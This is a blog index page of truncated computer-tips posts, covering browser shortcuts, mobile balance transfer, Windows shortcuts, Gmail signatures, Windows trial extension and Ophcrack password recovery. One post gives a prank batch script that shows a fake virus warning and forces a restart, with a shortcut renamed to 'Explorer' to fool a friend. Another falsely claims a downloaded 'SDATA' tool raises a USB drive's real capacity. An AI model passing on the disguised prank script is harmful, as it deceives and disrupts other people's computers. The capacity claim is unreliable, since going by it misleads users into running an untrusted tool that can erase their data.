Computer Tweaks

Internet is the part of everyday routine for a normal human being. We actually can not survive without the internet. In this post I am going to mention few tips of the internet for better browsing experience. 1] URL or Internet Address Tips:  Whenever you want to access any website, you simply go and type the url (uniform resource locator) in the address bar of the browser. While entering you do not need to type http:// or https:// or www. in the address bar. Simply, you can write the name of the website e.g. computertweaks.in , if the domain of the website has .com , .net you can simply use shortkeys. For Dot com: Write name of the site, lets say google and press CTR + Enter For Dot net: Write name of the site, lets say india and press SHIFT + Enter 2] How to move quickly between the fields of a form on any web page?  While filling up online forms, you can easily move from one field to another field quickly by pressing Tab button. Tab can be used to go t...

                    Do you know  Ta ta Docomo users can Gift a recharge to any Tata Docomo Prepaid user through this special feature This service is available over almost all the telecom networks.Here i am writing various methods to transfer balance from one Tata Docomo to another Tata Docomo prepaid mobile. Method 1] To transfer balance you must have minimum of Rs.12 in your prepaid account. Type as " Gift<space>Recipient mobile number<space>Recharge amount "  and send it to ' 54321 ' . Eg: Gift 9898989898 11 SMS charges will be free but the amount of Rs.11 will be deducted from the sender. Method 2] Another way to transfer the Tata Docomo Balance is by dialing USSD *363# directly from the sender phone. Now you can directly share talktime by dialing *363# . It is the latest Tata Docomo Balance Transfer Code. By using this service you can share talktime , ask for talktime and call me back ...

Y ou can install Windows 7 without any license key and use it for 30 days? What you might not know is that you can also extend that trial mode to 120 days, without requiring a key. The basic way this works is that at the end of the 30 days, you’ll need to run a small command and reboot your computer, at which point you’ll have 30 more days, up to a maximum of 120 days. This trick should work regardless of where you got your copy of Windows 7 from. To extend the trial by 30 days just follow the simple steps Step 1] The first thing you’ll want to do is check how many days are left in your trial period. You can do this by right-clicking Computer and choosing Properties… after clicking on properties a window appears like this Step 2] Now to actually perform the hack that will extend the trial mode, you’ll want to find Command Prompt in the start menu (or search for it), and then right-click on it and choose Run as administrator. (very important) ...

T o increase the size of your flash drive you have to download the SDATA tool from the link provided below. You can easily change the size of your usb from 2gb to 4gb, 4gb to 8gb and 8gb to 32gb. Follow the simple steps  Step 1] Go to this link & download the SDATA.zip from here.   https://www.4shared.com/zip/2kWbL88r/SDATA.html? Step 2] Insert your memory card or flash or USB drive. Now Format your drive. Step 3] Extract SDATA.Zip in your PC. And then double click on the folder in that Run SDATA Tool as administrator. Step 4] select your drive carefully to expand the memory(it will erase all existing data). Step 5] Now select the next immediate size to expand. e.g if you have inserted 1 GB card select 4 GB first. Once it completes then select the same drive and select 8 GB and then 16 GB.

A common need arises of having a software which can recover your Windows password. Sometimes it happens when you actually forgot to recall your Windows password that you have setup during Windows installation or you have manually added it to the default user. Moreover you have important data and can't afford to format your PC or re-install the Windows. Hence there is a need of Windows Recovery Tools. Out of many available tools, I am listing few that I found useful. Ophcrack:  Ophcrack is the best Windows Password Recovery tool that is available for free. This program is available in an executable format and in an image format. If you are using executable format of the tool, just install and run. It will recover the password from the windows registry. To use image format and you need to create a bootable disc before using the tool. Then boot from this live disc. It works in all available Windows operating systems including Xp, Vista and 7. Download ophcrack, here is the ...

I am going to tell you a funny trick to make a Facebook Virus to surprise your friends. It is not harmful. Actually it is only for fun. The given steps will help you to create a facebook virus just for making your friend fool. Step 1] Open Notepad program from your computer. Step 2] Now write the following code into notepad. @echo off msg * WARNING A VIRUS DETECTED. . . . ! ! ! ! !   IT WILL DELETE YOUR FACEBOOK ACCOUNT WITHIN 5 MINUTES. . . . ! ! ! ! !   TO REMOVE THIS VIRUS CLICK OK OR CLOSE THIS BOX.. PAUSE shutdown  -r   -t   300  -c "SORRY . ! ! ! ! !  YOUR FACEBOOK ACCOUNT IS NOW BEING DELETED . . ! ! ! ! ! PLEASE  WAIT . . . . . . . . . . . . . " Step 3] Now save this file as extension ".bat"  E.g "computertweaks.bat" step 4] Now right click on the saved file and CREATE A SHORTCUT Step 5] After doing step 4 change the name of the file [e.g Explorer] Step 6]  Cli...

Its not a trick, or you don't have to change settings. You do not have to make any registry or any other changes. All you need to do is install a simple to use software. And you can change the Start Icon easily. Here is the way to change the start button icon in windows7. step 1] Follow the link given below: " http//www.thewindowsclub.com/windows-7-start-button-changer-released ". and download the file from this page Step 2] Open the downloaded file and extract it. Step 3] Open the folder and run the program as administrator. Step 4] Now click on "select and change start button"  and select the appropriate downloaded  folder from the left panel. Step 5] After selecting you can see different types of start button icons  and now you can choose the icons from there. and

We all know 'VLC media player' is used for plying videos and music. Most of the users don't know about a fact that how we can set any video as a wallpaper. Today I am going to share with you How to set video as your desktop wallpaper. Follow the steps below: step 1] First of all open VLC media player.Now press ctrl+p to open preference.or also you can click on Tools->preferences Step 2] Here click on video option and set OUTPUT DEFAULT TO DirectX as shown below. Step 3] Now open any video through VLC media player and click on video option. and select set as wallpaper option. Now checkout your desktop.

In these key combinations, hold down the Windows key (normally located between Alt and Ctrl) and another key, as described on this list. Press the Windows key to enter the tiled Start screen. The Windows key + M minimizes everything that's showing on the desktop. The Windows key + E opens Explorer for quick access to folders. On the Start screen, press the Windows key + D to instantly get to the desktop. The Windows key + Tab opens a list of currently running programs. The Windows key + Print Screen takes a screenshot and saves it in a Screenshots folder nested in your Pictures folder.  To take a screenshot on a Windows 8 tablet, simultaneously press the Windows button and the volume-down button on the tablet chassis. The Windows key + Q opens a global search menu. Type what you're looking for and where you would like to look. The Windows key + W opens a search in your system settings to quickly locate and change system properties. The Windows key + F opens a ...

We always want to save the videos we watch on Youtube. Usually people make use of third party softwares (download  managers) to download or save videos on their computers. What if you don't have a download manager? How can you save that video. There are different options to do so without using any download manager. I am going to share one of those ways which I found the most simple one. Simply follow the given steps: step 1] Open youtube and search for desired video and copy the link address of video that you want to download. e.g:- Step 2] You need to type "ss" as prefix of "youtube" eg;'www.ssyoutube.com/...' after adding prefix open that address in your browser Step 3] Download in desired resolutions. 

With this cool trick you can create a small tool where you can type anything and convert into voice. The process is very easy. All you have to do is: Step:1) Open notepad and paste the following code: " Dim message, sapi message=InputBox("hello from computertweaks.in, Do you want your computer to speak?","for more tricks visit computertweaks.in") Set sapi=CreateObject("sapi.spvoice") sapi.Speak message " Step:2)   Then click file, then click save as and choose any name and give extension as ".vbs ".For notepad the usual extension is ".txt" , so you have to change .txt extension to ".vbs". For example  , " computertweaks.vbs" Step:3) Thats it!  Double click on the icon and box will pop up. Type whatever you want listen and click ok. The computer will speak the sentence you type in the box. Isn't it a cool trick?

Autoplay of media devices has always been a pain in the ass for windows users. It becomes irritating every time when it shows the Autoplay option whenever we connect any media device to our computer specially when we connect USB devices to load some files, and it gives you options of AutoPlay. Fortunately Windows has given the option to disable this autoplay feature. If it is really annoying you, then you must disable it. I am going to list the steps to be followed to disable Autoplay for media devices.

Whenever we use Google, most of the times we search for a specific type of file, example: PDF or PPT or DOC. But when we enter the query in Google's search box it gathers all types of the results, be it of any type. To find a specific type of file we need to modify our search technique. Coming steps will show you how to search for a specific file type (here I am showing it for PPT i.e. power point presentation file). Step 1] Go to Google. Step 2] Write "filetype:ppt" (without quotes) before your actual search query. So if I am searching for PPTs relating to Nanotechnology I will write "filetype:ppt nanotechnology" You can see the result. You will get files of type that you have mentioned.  Similarly you can search for any file type you want. You only need to change the file type in the query, as in our example: instead of PPT, put PDF or any other type that you want to search.  We can create a generalized query as: "filetype:<write fi...

This post is for people who want to get most of Windows 7 experience. All these simple shortcuts can be used while using Windows 7 for better experience.   Windows key and arrow keys: Pressing the Windows key + Left or Right arrow keys, docks the window you are viewing to the left or right-hand side of the screen. Pressing the Windows key + Up arrow maximizes the window and pressing the Windows key + Down arrow re sizes and then minimizes the window. Use Shift: To stretch a window vertically, press the Windows key + Shift + the Up arrow. If you have multiple monitors use the Windows key + Shift + the Left or Right arrow keys to move the window to another monitor. Windows key with plus and minus keys: If you need to zoom in or out of what is being displayed on your screen press the Windows key and the + (plus) or - (minus) keys. Pressing the plus zooms in and once zoomed...

Gmail is surely the best email service available today and the most popular also. After introducing features as Starred Email and Priority Inbox, it has become the first choice of all the corporates and business people. While sending business emails or personal, we put some signature in it, for example: Yours Faithfully, Reehan Computer Tweaks You can set an automated signature, i.e. evertime you don't need to put it manually. You can follow simple steps to set a Signature for your Gmail account. 1. Go to gmail.com, login into your account. 2. Click settings tab. 3. Under General tab scroll down till you find Signature option By default it is set to No Signature . Click on the Radio Button below that and put the disired text in the text box given. 5. Scroll further down and press Save Changes button. 6. Thus, when you compose any new message, you get the message editor window with a Signature as follows. ...